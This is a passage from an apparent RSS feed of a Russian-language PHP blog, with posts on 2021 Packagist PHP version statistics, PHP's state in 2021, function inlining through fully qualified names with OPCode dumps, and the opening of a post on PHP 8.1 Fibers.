}</code></pre><p>&nbsp;Ну вот в принципе и все, что хотел сказать о новой функции в PHP 8.1, прогресс не стоит на месте, спасибо команде PHP :)</p><p>&nbsp;</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/57</guid>
                <pubDate>2021-07-16T06:16:39+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Статистика версий PHP - выпуск 2021.1]]></title>
                <link>https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20211</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Статистика версий PHP - выпуск 2021.1</h1><blockquote>Первая ежегодная статистика 2021 используемых версий PHP от Packagist</blockquote><p>Небольшое замечание по методологии сбора статистики - следует понимать, что данная статистика несовершенна, поскольку она просто представляет собой образец некоторого подмножества пользовательской базы PHP. Для ее составления, в журналах packagist.org анализируется есть ли кем-то установленный Composer&nbsp;<span style="font-size: 1rem;">за последний месяц</span>. В свою очередь Composer отправляет версию PHP, с которой он работает, в заголовке User-Agent, поэтому Packagist&nbsp;может использовать эту информацию, чтобы увидеть с какими версиями PHP люди используют Composer. Среды CI исключаются из соображений максимальной эффективности.</p><h2>Статистика использования PHP</h2><h3>Май 2021 г.</h3><p><br></p><table class="table table-bordered"><tbody><tr><td>Версия</td><td><br></td><td><br></td><td>Сгруппированы</td><td>+/- разница с ноября 2020 г.<br></td><td><br></td></tr><tr><td>PHP 7.4.16<br></td><td>13.26%<br></td><td><br></td><td>PHP 7.4<br></td><td>45.92% (<font color="#18d951">+3.31</font>)<br></td><td><br></td></tr><tr><td>PHP 7.3.27<br></td><td>8.46%<br></td><td><br></td><td>PHP 7.3<br></td><td>21.30% (<font color="#ff0000">-5.75</font>)<br></td><td><br></td></tr><tr><td>PHP 7.4.9<br></td><td>6.38%<br></td><td><br></td><td>PHP 7.2<br></td><td>12.89% (<font color="#ff0000">-2.39</font>)<br></td><td><br></td></tr><tr><td>PHP 8.0.3<br></td><td>6.31%<br></td><td><br></td><td>PHP 8.0<br></td><td>9.44% (<font color="#18d951">+9.17</font>)<br></td><td><br></td></tr><tr><td>PHP 7.2.34<br></td><td>5.46%<br></td><td><br></td><td>PHP 7.1<br></td><td>5.21% (<font color="#ff0000">-2.24</font>)<br></td><td><br></td></tr><tr><td>PHP 7.4.15<br></td><td>4.89%<br></td><td><br></td><td>PHP 7.0<br></td><td>2.07% (<font color="#ff0000">-0.63</font>)<br></td><td><br></td></tr></tbody></table><p><img src="https://sergeymukhin.com/files/blog/2021/statistika-versii-php-vypusk-20211-nOBJMe.png"></p><p><br></p><p>Как можно заметить 7.4 продолжает расти, несмотря на то, что процент его использования итак высок , в то время как PHP 8 хоть и работает нормально, но скорость его принятия составляет лишь половину от предыдущих выпусков 7.x. По моему опыту, обновление до него определенно сложнее, чем обновление до второстепенного выпуска, в основном из-за того, что некоторые зависимости отстают в поддержке PHP 8, но оно того стоит, так что я бы советовал людям скорее продвигаться вперед на следующую версию!</p><p>Вы можете легко выполнить базовый тест на предмет того, поддерживают ли ваши зависимости PHP 8, используя <a href="https://getcomposer.org/doc/06-config.md#platform" target="_blank">конфигурацию платформы</a> Composer, запустив, например:<br></p><p><br></p><pre class="line-numbers"><code class="language-powershell">composer config platform.php 8.0.5

# Checks whether latest versions of your dependencies (according to your
# version constraints) allow PHP 8
composer update --dry-run         

# Checks whether current versions of your deps allow PHP 8
composer update nothing --dry-run </code></pre><p>Если это пройдет, вы можете попробовать выполнить обновление без него с помощью --dry-run и запустить свой набор тестов. Если вы получаете ошибки, вам может потребоваться проверить, существует ли новая версия для этих зависимостей, или отправить создателям пакетов PR/issue о поддержке PHP 8.</p><p>Не забудьте вернуть&nbsp;<span style="font-size: 1rem;">изменения</span>&nbsp;composer.json, когда закончите данные тесты. Вот сводная диаграмма, охватывающая все наблюдения версий за последние семь лет.&nbsp;</p><p><img src="https://sergeymukhin.com/files/blog/2021/statistika-versii-php-vypusk-20211-Nc4HWV.png"></p><p><br></p><h2>Требования PHP в пакетах</h2><p>Второй набор данных - это то, какие версии требуются для пакетов PHP, представленных на <a href="https://packagist.org/" target="_blank">Packagist.org</a>. Проверяется только выражение require в их текущей ветке по умолчанию, чтобы узнать каковы требования, а набор данных включает только пакеты, которые были зафиксированы в прошлом году, чтобы исключить все проекты EOL, поскольку они не обновляют свои требования.</p><p><br></p><h3>Требования PHP - последние ветки по умолчанию - май 2021 г. (+/- разница с ноября 2020 г.)</h3><p><br></p><table class="table table-bordered"><tbody><tr><td><font color="#3c484e" face="-apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Oxygen, Ubuntu, Cantarell, Open Sans, Helvetica Neue, sans-serif"><span style="white-space: nowrap;">5.2</span></font><br></td><td>0,54% (<font color="#ff0000">-0,06</font>)<br></td><td><br></td></tr><tr><td>5.3<br></td><td>6,4% (<font color="#ff0000" style="">-1</font>)<br></td><td><br></td></tr><tr><td>5.4<br></td><td>6,68% (<font color="#ff0000">-0,99</font>)<br></td><td><br></td></tr><tr><td>5.5<br></td><td>6,19% (<font color="#ff0000">-0,39</font>)<br></td><td><br></td></tr><tr><td>5.6<br></td><td>9,34% (<font color="#ff0000">-1,2</font>)<br></td><td><br></td></tr><tr><td>7.0<br></td><td>13,75% (<font color="#ff0000">-1,44</font>)<br></td><td><br></td></tr><tr><td>7.1<br></td><td>18,43% (<font color="#ff0000">-1,95</font>)<br></td><td><br></td></tr><tr><td>7.2<br></td><td>16,95% (<font color="#ff0000">-0,72</font>)<br></td><td><br></td></tr><tr><td>7.3<br></td><td>9,67% (<font color="#18d951">+2,59</font>)<br></td><td><br></td></tr><tr><td>&nbsp;7.4</td><td>9,88% (<font color="#18d951">+3,18</font>)<br></td><td><br></td></tr><tr><td>&nbsp;8.0</td><td>2,15% (<font color="#18d951">+1,96</font>)<br></td><td><br></td></tr><tr><td>&nbsp;8.1</td><td>0% (0)<br></td><td><br></td></tr></tbody></table><p>Как и в прошлый раз, версии 7.3/7.4 продолжают набирать обороты, PHP 8 также имеет неплохой старт. Однако самой используемой версией PHP по-прежнему является 7.1. Согласно приведенным выше диаграммам, я бы сказал, что 7.3 по-прежнему является хорошим вариантом для любой библиотеки, которая хочет поддерживать поддержку большинства пользователей, но 7.4 предлагает вам приятные функции и почти на 50% адаптирована, так что это допустимый вариант для нового кода. Процент использование PHP 8 все еще слишком низкий, и вероятно, останется таковым до выпуска Ubuntu 22.04.</p><p>Требование PHP 7.2+ охватывает ~ 90% пользовательской базы прямо сейчас, поэтому требовать меньшей версии уже больше нет необходимости,&nbsp; Composer 2.2, выходящий позже в этом году, скорее всего, потребует этого. Кстати, если вы не используете <a href="https://sergeymukhin.com/blog/composer-2-chto-novogo-i-izmenennogo" target="_blank">Composer 2</a>, вам действительно стоит подумать об обновлении!<br></p><p><br></p><div><br></div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/56</guid>
                <pubDate>2021-06-24T05:27:03+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP в 2021 году]]></title>
                <link>https://sergeymukhin.com/blog/php-v-2021-godu</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP в 2021 году</h1><blockquote>Если вы новичок в веб-программировании, возможно стоите на распутье и сомневаетесь куда двигаться дальше, то вам определенно стоит почитать этот пост</blockquote><p>Так же, как в <a href="https://sergeymukhin.com/blog/php-v-2020-godu" target="_blank">2020</a> и <a href="https://sergeymukhin.com/blog/php-v-2019-godu" target="_blank">2019</a> годах подведем итоги о том, стоит ли изучать PHP в 2021 году.</p><p>Как я говорил в предыдущих постах: PHP уже не тот язык, которым был десять лет назад, и мы все очень благодарны за это. Это достаточно быстрый и надежный язык, используемый для создания масштабных приложений. Итак, давайте обсудим некоторые из наиболее заметных изменений PHP за последний год для языка и сообщества.</p><h2>PHP 8 и дальше</h2><p>Новая основная версия <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8</a> появилась в конце прошлого года. Я много писал постов по этой теме, и не буду повторять все это здесь. В принципе все как обычно, производительность только улучшается, и тесты это доказывают.</p><p>Есть <a href="https://sergeymukhin.com/blog/php-jit" target="_blank">JIT</a>, который, улучшает производительность некоторых проектов, а также предварительная загрузка, которая имеет в целом положительное влияние, если вы не используете shared хостинг.<br></p><p>Я думаю, что такой функционал, как <a href="https://sergeymukhin.com/blog/atributy-v-php-8" target="_blank">атрибуты</a> (также известные как «аннотации»), <a href="https://sergeymukhin.com/blog/php-8-imenovannye-argumenty" target="_blank">именованные аргументы</a> и <a href="https://sergeymukhin.com/blog/php-8-prodvizenie-svoistv-konstruktora" target="_blank">объявляемые свойства в конструкторе</a>&nbsp;также заслуживают упоминания, поскольку они определенно способствовали тому, что PHP 8 стал таким замечательным выпуском.<br></p><p>Тем временем основная команда уже работает над следующей версией&nbsp;<a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a>, которая будет выпущена где-то к концу 2021 года. На данный момент наиболее важными функциями являются перечисления (Enum) и файберы (Fiber).<br></p><p>Год за годом основной команде удается представить сообществу новый стабильный выпуск, наполненный множеством функций и качественных улучшений. Путь обновления также не так уж и сложен. Я уже обновил некоторые из моих собственных проектов с PHP 7.4 до PHP 8, и это заняло от 30 до 60 минут на проект. На самом деле нет никаких веских причин оставаться на старых версиях!</p><h2>Система типов PHP</h2><p>Когда дело доходит до типов, есть очень интересные новости: <a href="https://sergeymukhin.com/blog/php-81-enums-perecisleniya" target="_blank">перечисления</a> будут добавлены в <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a> . Вдобавок к этому мы также видели, как некоторые разработчики инструментов статического анализа внесли свой вклад в исходный код PHP, разместив свой первый RFC. Это добавляет тип возврата - <b>never</b>, полезное дополнение для статического анализа.</p><p>Говоря об инструментах статического анализа, <a href="https://blog.jetbrains.com/phpstorm/2020/07/phpstan-and-psalm-support-coming-to-phpstorm/" target="_blank">PhpStorm добавил</a> встроенную поддержку <a href="https://psalm.dev/" target="_blank">Psalm</a> и <a href="https://github.com/phpstan/phpstan" target="_blank">PhpStan</a> , что является большим шагом на пути к более широкому применению.<br></p><p>К сожалению, дженерики по-прежнему не поддерживаются. Есть несколько серьезных препятствий этому, особенно с учетом того, что мы все еще имеем дело с языком с динамической типизацией. О возникших проблемах Никита Попов написал&nbsp;<a href="https://github.com/PHPGenerics/php-generics-rfc/issues/45" target="_blank">здесь</a>. А вот, например, автор блога <a href="https://stitcher.io" target="_blank">stitcher.io</a>&nbsp;Брент <a href="https://www.reddit.com/r/PHP/comments/iuhtgd/ive_proposed_an_approach_to_generics_on_internals/" target="_blank">описал подход</a>, который был бы простым выходом: поддерживать дженерики, не во время выполнения, а полагаться на статический анализ. Это так же потребует изменения мышления в сообществе PHP в целом. Может быть, однажды это станет жизнеспособным вариантом, но пока что нет.</p><h2>Асинхронный PHP</h2><p>Буквально недавно были большие новости: PHP получает корутины, также известные как "<a href="https://en.wikipedia.org/wiki/Green_threads" target="_blank">зеленые потоки</a>" - в PHP 8.1!&nbsp; Хотя файберы - так их называют - могут не так уж и сильно изменить правила игры, как кажется на первый взгляд .</p><p>Несмотря на то, что сами файберы могут быть лишь маленькой шестеренкой в ​​том, что является большой асинхронной машиной, RFC снова вызвал интерес в асинхронном сообществе, чему мы можем только радоваться. Популярность асинхронных фреймворков, таких как <a href="https://amphp.org/" target="_blank">Amphp</a> и <a href="https://reactphp.org/" target="_blank">ReactPHP</a>, растет, и недавно тот же Laravel объявил о встроенной поддержке <a href="https://www.swoole.co.uk/" target="_blank">Swoole</a>&nbsp;и <a href="https://roadrunner.dev/" target="_blank">RoadRunner</a>.<br></p><h2>Composer 2.0</h2><p>Ну&nbsp; и конечно же, нельзя не упомянуть о новом выпуске Composer, де-факто стандартный менеджер пакетов. В октябре 2020 года вышел новый основной выпуск: Composer 2.0 . Эта версия поставляется с несколькими улучшениями UX, но, что наиболее важно, в ней значительно улучшена производительность, иногда даже утроенная при чистой установке. И это очень заметно на боевых проектах. Если вы до сих пор не обновились, советую не тянуть, прирост скорости работы оооочень заметен.</p><p>Говоря о композере, мне нравится измерять текущее состояние экосистемы PHP, просматривая доступные пакеты с течением времени. В прошлом году я говорил о ±25 миллионах загрузок в день, сегодня это число увеличилось более чем вдвое, и мы уже видим ±60 миллионов загрузок в день.</p><p>Наконец, взгляните на этот график, в котором показано количество пакетов и версий с течением времени. Его также можно найти на сайте <a href="https://packagist.org/statistics" target="_blank">Packagist.com</a> . Вы можете ясно видеть, как растет здоровая экосистема, и конца этому не видно.</p><p><img src="/files/blog/2021/php-v-2021-godu-0HjC5F.png"></p><h2>Язык</h2><p>Давайте закончим напоминанием обо всем, что было добавлено в PHP за последние годы. Если вы не следите за его развитием, вам действительно стоит изучить этот список. Я думаю, что это показывает рост сообщества и основной команды разработчиков за последние годы, и я уверен, что это еще не все.<br></p><ul><li><a href="https://sergeymukhin.com/blog/php-81-enums-perecisleniya" target="_blank">Перечисления</a></li><li><a href="https://sergeymukhin.com/blog/php-81-fibers" target="_blank">Файберы</a></li><li><a href="https://sergeymukhin.com/blog/atributy-v-php-8" target="_blank">Атрибуты</a></li><li><a href="https://sergeymukhin.com/blog/php-8-imenovannye-argumenty" target="_blank">Именованные аргументы</a></li><li><a href="https://wiki.php.net/rfc/match_expression_v2" target="_blank">Match v2</a></li><li><a href="https://sergeymukhin.com/blog/php-8-prodvizenie-svoistv-konstruktora" target="_blank">Объявление свойств в конструкторе</a></li><li><a href="https://sergeymukhin.com/blog/korotkie-zamykaniya-v-php" target="_blank">Короткие замыкания</a></li><li><a href="https://wiki.php.net/rfc/null_coalesce_equal_operator" target="_blank">Нулевой оператор объединения</a></li><li><a href="https://www.php.net/manual/en/language.oop5.traits.php" target="_blank">Трейты</a></li><li><a href="https://sergeymukhin.com/blog/tipizirovannye-svoystva-v-php" target="_blank">Типизированные свойства</a></li><li><a href="https://wiki.php.net/rfc/argument_unpacking" target="_blank">Оператор распаковки</a></li><li><a href="https://sergeymukhin.com/blog/php-jit" target="_blank">JIT</a></li><li><a href="https://wiki.php.net/rfc/ffi" target="_blank">FFI</a></li><li><a href="https://www.php.net/manual/en/functions.returning-values.php#functions.returning-values.type-declaration" target="_blank">Объявления типа возврат</a>а</li><li><a href="https://wiki.php.net/rfc/generators" target="_blank">Генераторы</a></li><li>и пр.</li></ul><div><br></div><div>Все это говорит о том, что PHP жив и преуспевает. С каждым годом я становлюсь все более довольным тем, в каком направлении движется язык, и с нетерпением жду возможности использовать его еще долгие годы!</div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/54</guid>
                <pubDate>2021-04-16T11:41:18+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Встраивание функций в PHP]]></title>
                <link>https://sergeymukhin.com/blog/vstraivanie-funkcii-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Встраивание функций в PHP</h1><blockquote>В программировании встраивание функций (англ. Function Inlining) - это способ оптимизации, при котором вызов функции заменяется непосредственно её телом</blockquote><p>Встраивание функций - это важная оптимизация, однако оказываемый эффект на производительность может быть различным.&nbsp;</p><p>Современный PHP работает быстро! Он имеет ряд особенностей для повышения производительности, такие как OPCache, JIT и другие улучшения на этапе компиляции, чтобы сделать интеллектуальную оптимизацию для приложения PHP.<br></p><p>На данный момент PHP имеет более 30 функций , которые используют специальные коды OPCodes или&nbsp;<span style="font-size: 1rem;">встроены&nbsp;</span>иным образом для повышения производительности.</p><p>Одним из примеров, демонстрирующих этот эффект, является функция <b>strlen</b>. Она возвращает длину заданной строки, и PHP пытается выполнить оптимизацию с упреждением.</p><p><br></p><pre class="line-numbers"><code class="language-php">if (strlen('Test') &lt; 2) {
    echo "Test";
}</code></pre><p>В этом фрагменте&nbsp;<span style="font-size: 1rem;">функция</span>&nbsp;<b>strlen</b> вызывается для статической строки, и PHP может полностью исключить этот блок, поскольку длина строки Test фиксирована, и значение сравнения также является статическим. Это лучше видно с помощью дампа OPCode .</p><p><b>До оптимизации</b></p><p><b><br></b></p><pre class="line-numbers"><code class="language-powershell">php -d opcache.opt_debug_level=0x10000 test.php</code></pre><p><b>&nbsp;</b></p><pre class="line-numbers"><code class="language-powershell">0000 JMPZ bool(false) 0002
0001 ECHO string("Test")
0002 RETURN int(1)</code></pre><p><b>&nbsp;После оптимизации</b><br></p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -d opcache.opt_debug_level=0x20000 test.php</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">0000 RETURN int(1)</code></pre><p>Этот пример работает и в обратном направлении, избавляясь от ненужных&nbsp;<span style="font-size: 1rem;">OPCodes</span>&nbsp;JMP / JMPZ / JMPNZ, которые в противном случае использовались бы в&nbsp;<span style="font-size: 1rem;">блоке</span>&nbsp;if.&nbsp;&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">if (strlen('Test') &lt; strlen('Test Test')) {
    echo "Test";
}</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">0000 ECHO string("Test")
0001 RETURN int(1)</code></pre><p>Поскольку strlen('Test') &lt; strlen('Test Test') всегда будет true, оптимизированный OPCode не будет содержать никаких переходов.</p><h2>Полные имена функций</h2><p>А вы замечали в каком-нибудь чужом коде, в начале файла, где идет объявление используемых классов, так же есть объявление функций с помощью оператора <b>use</b>?<b> </b>Ну знаете, что-то типа:</p><p><br></p><pre class="line-numbers"><code class="language-php">..

use function is_array;
...</code></pre><p>Зачем объявлять функции, если они, вроде как, уже известны интерпретатору PHP?</p><p>Так вот, когда вызов функции выполняется внутри пространства имен, движок не может использовать специальную обработку, потому что возможно, что функция с тем же именем будет объявлена ​​позже в программе.</p><p><br></p><pre class="line-numbers"><code class="language-php">namespace Foo;

if (strlen('Test') &lt; strlen('Test Test')) {
    echo "Test";
}</code></pre><p>Обратите внимание, как&nbsp;<span style="font-size: 1rem;">блок&nbsp;</span>if находится внутри п<span style="font-size: 1rem;">ространства&nbsp;</span><span style="font-size: 1rem;">имен</span><span style="font-size: 1rem;">&nbsp;</span>Foo. Дамп OPCode показывает, что PHP не применил здесь особую обработку:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -d opcache.opt_debug_level=0x20000 test.php</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">0000 INIT_NS_FCALL_BY_NAME 1 string("Foo\strlen")
0001 SEND_VAL_EX string("Test") 1
0002 V1 = DO_FCALL_BY_NAME
0003 INIT_NS_FCALL_BY_NAME 1 string("Foo\strlen")
0004 SEND_VAL_EX string("Test Test") 1
0005 V2 = DO_FCALL_BY_NAME
0006 T0 = IS_SMALLER V1 V2
0007 JMPZ T0 0009
0008 ECHO string("Test")
0009 RETURN int(1)</code></pre><p>Большинство проектов на PHP используют пространства имен, и чтобы вернуть особую обработку, имена функций могут быть снабжены префиксом обратной косой черты (\) или как раз, объявление псевдонимами с use function. Их часто называют «Полностью определенными именами функций» - (Fully-Qualified Function Names) или же <b>FQFN</b>.</p><h2>Ускорение вашего приложения</h2><p>В настоящее время единственный способ ускорить вызовы функций - это убедиться, что глобальные функции вызываются правильным квалифицированным способом. Это утомительное ручное действие. Вы можете сделать это одним из двух способов:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">namespace Foo;
if (\strlen('Test') &lt; \strlen('Test Test')) {
    echo "Test";
}</code></pre><p>или</p><p><br></p><pre class="line-numbers"><code class="language-php">namespace Foo;
use strlen;
if (strlen('Test') &lt; strlen('Test Test')) {
    echo "Test";
}</code></pre><p>Оба приведенных выше фрагмента сигнализируют движку о том, что&nbsp;<span style="font-size: 1rem;">вызов</span>&nbsp;<b>strlen</b> действительно предназначен для внутренней&nbsp;<span style="font-size: 1rem;">функции</span>&nbsp;<b>strlen</b>, что позволяет движку продолжать и встраивать их. С FQFN движок снова может применить свою магию:&nbsp; &nbsp;&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">0000 ECHO string("Test")
0001 RETURN int(1)</code></pre><p>Есть еще варианты объявление автоматических реализация, в виде подключения сторонних пакетов типа&nbsp; <a href="https://github.com/nilportugues/php-backslasher" target="_blank" style="background-color: rgb(255, 255, 255);">php_backslasher</a>,&nbsp;<a href="https://github.com/Roave/FunctionFQNReplacer" target="_blank" style="background-color: rgb(255, 255, 255);">FunctionFQNReplacer</a>&nbsp;и пр. Так же можно объявить&nbsp;<b>declare(no_dynamic_functions=1) </b>в начале вашего файла.<br></p><blockquote>При вызове внутренних функций PHP, особенно с встраиваемыми функциями, всегда указываются полные имена функций, чтобы обеспечить для них оптимизацию движка.</blockquote><p><br></p><h2>Список функций со специальной обработкой</h2><p>Все следующие функции имеют особую обработку в Zend Engine и могут нести большую пользу, если вызываются как полностью определенное имя функции.</p><p><br></p><ul><li><a href="https://www.php.net/manual/ru/function.array-key-exists.php" target="_blank">array_key_exists</a></li><li><a href="https://www.php.net/manual/ru/function.array-slice.php" target="_blank">array_slice</a></li><li><a href="https://www.php.net/manual/ru/function.boolval.php" target="_blank">boolval</a></li><li><a href="https://www.php.net/manual/ru/function.call-user-func.php" target="_blank">call_user_func</a></li><li><a href="https://www.php.net/manual/ru/function.call-user-func-array.php" target="_blank">call_user_func_array</a></li><li><a href="https://www.php.net/manual/ru/function.chr.php" target="_blank">chr</a></li><li><a href="https://www.php.net/manual/ru/function.count.php" target="_blank">count</a></li><li><a href="https://www.php.net/manual/ru/function.defined.php" target="_blank">defined</a></li><li><a href="https://www.php.net/manual/ru/function.doubleval.php" target="_blank">doubleval</a></li><li><a href="https://www.php.net/manual/ru/function.floatval.php" target="_blank">floatval</a></li><li><a href="https://www.php.net/manual/ru/function.func-get-args.php" target="_blank">func_get_args</a></li><li><a href="https://www.php.net/manual/ru/function.func-num-args.php" target="_blank">func_num_args</a></li><li><a href="https://www.php.net/manual/ru/function.get-called-class.php" target="_blank">get_called_class</a></li><li><a href="https://www.php.net/manual/ru/function.get-class.php" target="_blank">get_class</a></li><li><a href="https://www.php.net/manual/ru/function.gettype.php" target="_blank">gettype</a></li><li><a href="https://www.php.net/manual/ru/function.in-array.php" target="_blank">in_array</a></li><li><a href="https://www.php.net/manual/ru/function.intval.php" target="_blank">intval</a></li><li><a href="https://www.php.net/manual/ru/function.is-array.php" target="_blank">is_array</a></li><li><a href="https://www.php.net/manual/ru/function.is-bool.php" target="_blank">is_bool</a></li><li><a href="https://www.php.net/manual/ru/function.is-double.php" target="_blank">is_double</a></li><li><a href="https://www.php.net/manual/ru/function.is-float.php" target="_blank">is_float</a></li><li><a href="https://www.php.net/manual/ru/function.is-int.php" target="_blank">is_int</a></li><li><a href="https://www.php.net/manual/ru/function.is-integer.php" target="_blank">is_integer</a></li><li><a href="https://www.php.net/manual/ru/function.is-long.php" target="_blank">is_long</a></li><li><a href="https://www.php.net/manual/ru/function.is-null.php" target="_blank">is_null</a></li><li><a href="https://www.php.net/manual/ru/function.is-object.php" target="_blank">is_object</a></li><li><a href="https://www.php.net/manual/ru/function.is-resource.php" target="_blank">is_resource</a></li><li><a href="https://www.php.net/manual/ru/function.is-scalar.php" target="_blank">is_scalar</a></li><li><a href="https://www.php.net/manual/ru/function.is-string.php" target="_blank">is_string</a></li><li><a href="https://www.php.net/manual/ru/function.ord.php" target="_blank">ord</a></li><li><a href="https://www.php.net/manual/ru/function.sizeof.php" target="_blank">sizeof</a></li><li><a href="https://www.php.net/manual/ru/function.strlen.php" target="_blank">strlen</a></li><li><a href="https://www.php.net/manual/ru/function.strval.php" target="_blank">strval</a></li></ul><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/53</guid>
                <pubDate>2021-04-09T09:41:56+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.1: Fibers (Файберы)]]></title>
                <link>https://sergeymukhin.com/blog/php-81-fibers</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.1: Fibers (Файберы)</h1><blockquote>Итак голосование прошло и RFC по Fibers был принят, хоть против проголосовала приличная часть сообщества.</blockquote><p>Пытаясь восполнить пробел в своей кодовой базы, PHP выпускает одно из значимых дополнений к языку - Fibers. PHP Fibers, которые появятся в <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a> в конце года, представят для программистов функционал, своего рода асинхронного программирования (корутины), обеспечив легкий и управляемый параллелизм.</p><p>Концепция файберов в основном относится к легкому потоку выполнения (корутины/сопрограммы ). Кажется, что они выполняются параллельно, но в конечном итоге обрабатываются самой средой выполнения, а не отправляются напрямую в ЦП. У многих основных языков есть свои способы их реализации, но принцип тот же: пусть компьютер выполняет две или более задачи одновременно, и дождитесь, пока все не будет завершено.</p><p>Реализация Fibers в PHP не является истинным асинхронным вычислением, как можно подумать. В действительности ядро ​​PHP по-прежнему останется синхронным после того как будут введены Fibers <a href="https://wiki.php.net/rfc/fibers" target="_blank">rfc</a>.</p><blockquote>Вы можете думать о PHP Fibers как о переключении с одной машины на другую.</blockquote><h2>Как работают файберы?</h2><p>Файберы похожи на нити в компьютерной программе. Потоки планируются операционной системой и не гарантирует, когда и в какой момент потоки будут приостановлены и возобновлены. Файберы&nbsp;создаются, запускаются, приостанавливаются и завершаются самой программой и позволяют точно контролировать выполнение основной программы и выполнение файберов.<br></p><p>В свое время в PHP 5.4 были добавлены генераторы. С помощью генераторов можно было вернуть (<span style="font-size: 1rem;">yield</span><span style="font-size: 1rem;">)</span>&nbsp;экземпляр генератора вызывающей стороне без удаления состояния блока кода. Генераторы не позволяли легко возобновить вызов с того места, где был вызван&nbsp;<span style="font-size: 1rem;">yield</span>.</p><p>С помощью Fibers код внутри Fiber может приостановиться и вернуть любые данные в основную программу. Основная программа может возобновить работу Fiber с того места, где она была приостановлена .</p><p>Важно понимать, что <b>многопоточное</b> выполнение не означает <b>одновременное</b> выполнение . Файберы и основной поток не выполняются в одно и тоже время. Основной поток&nbsp; запускает файбер, и когда он запускается, то файбер уже выполняется исключительно сам. Основной поток не может наблюдать, завершать или приостанавливать файбер, пока файбер выполняется. </p><p>Файбер может приостановить самого себя, но не может возобновить свою работу - возобновить работу Fiber должен основной поток.</p><p><img src="/files/blog/2021/php-81-fibers-40SbFI.png"></p><p>&nbsp;</p><p>Файбер сам по себе не позволяет одновременно выполнять несколько файберов, а так же основной поток и файбер.<br></p><p>Fiber -&nbsp; это единственный финальный класс, что предотвращает его расширение другим пользовательским классом.</p><p>Файбер условно можно представить как автомобиль: он может завестись, и сразу же поехать, зажимать тормоз, ждать и возобновлять поездку.<br></p><p><br></p><pre class="line-numbers"><code class="language-php">final class Fiber
{
    public function __construct(callable $callback) {}
    public function start(mixed ...$args): mixed {}
    public function resume(mixed $value = null): mixed {}
    public function throw(Throwable $exception): mixed {}
    public function isStarted(): bool {}
    public function isSuspended(): bool {}
    public function isRunning(): bool {}
    public function isTerminated(): bool {}
    public function getReturn(): mixed {}
    public static function this(): ?self {}
    public static function suspend(mixed $value = null): mixed {}
}</code></pre><p>Когда вы создадите новый экземпляр Fiber, ничего не произойдет. Коллбек не будет выполняться, д<span style="font-size: 1rem;">о тех пор, пока вы не запустите Fiber</span>.</p><p><br></p><pre class="line-numbers"><code class="language-php">$fiber = new Fiber(function() : void {
   echo "Поехали!";
});
$fiber-&gt;start(); // Поехали!</code></pre><p>Помните, что файберы асинхронны? Можно сделать так, чтобы они как бы были, но оставались недвижимы,&nbsp; т.к. был "зажат тормоз" -&nbsp; Fiber::suspend(). Далее файбер передаст управление «наружу», но надо иметь в виду, что наш Fiber-автомобиль все еще жив и ожидает возобновление движения.</p><p><br></p><pre class="line-numbers"><code class="language-php">$fiber = new Fiber(function() : void {
   Fiber::suspend();
   echo "Поехали!";
});
$fiber-&gt;start(); // ничего не произойдет</code></pre><p>Fiber::suspend() может быть вызван только внутри волокна.<br></p><p>Теперь, когда автомобиль стоит, следующее, что нужно сделать, - это снять ногу с тормоза, и для этого мы можем вызвать<span style="font-size: 1rem;">&nbsp;извне&nbsp;</span>метод&nbsp;<span style="font-size: 1rem;">resume().</span></p><p><span style="font-size: 1rem;"><br></span></p><pre class="line-numbers"><code class="language-php">$fiber = new Fiber(function() : void {
   Fiber::suspend();
   echo "Поехали!";
});
$fiber-&gt;start(); // ничего не произойдет
$fiber-&gt;resume(); // Поехали!</code></pre><p>В буквальном смысле это не асинхронность, но это не значит, что ваше приложение не может делать две вещи одновременно. Состояние функции Fiber сохраняется там, где оно было остановлено. Образно говоря, вы переключаетесь между автомобилями, ведя каждый к одной точке.<br></p><p>start(), suspend() и в resume() могут принимать аргументы:</p><p><br></p><ul><li>Метод start() будет передавать аргументы в коллбэк и вернет значение, независимо от метода suspend().</li><li>Методе suspend() возвращает значение, полученное от метода resume() .</li><li>Метод resume() возвращает то, что было получено после вызова suspend().</li></ul><p>Это делает связь между основным потоком и Fiber относительно простой:</p><p><br></p><ul><li>resume() используется для "вталкивания" значений в Файбер, которые можно получить из suspend()</li><li>suspend() используется для "выталкивания" значений из Файбера, полученных пользователем в том месте, где используется resume().</li></ul><p><br></p><pre class="line-numbers"><code class="language-php">$fiber = new Fiber(function (): void {
    $push = Fiber::suspend('вытолкнули');
    echo "Значение для resume: ", $push, "\n";
});
 
$put = $fiber-&gt;start();
 
echo "Значение для suspend: ", $put, "\n";<br> 
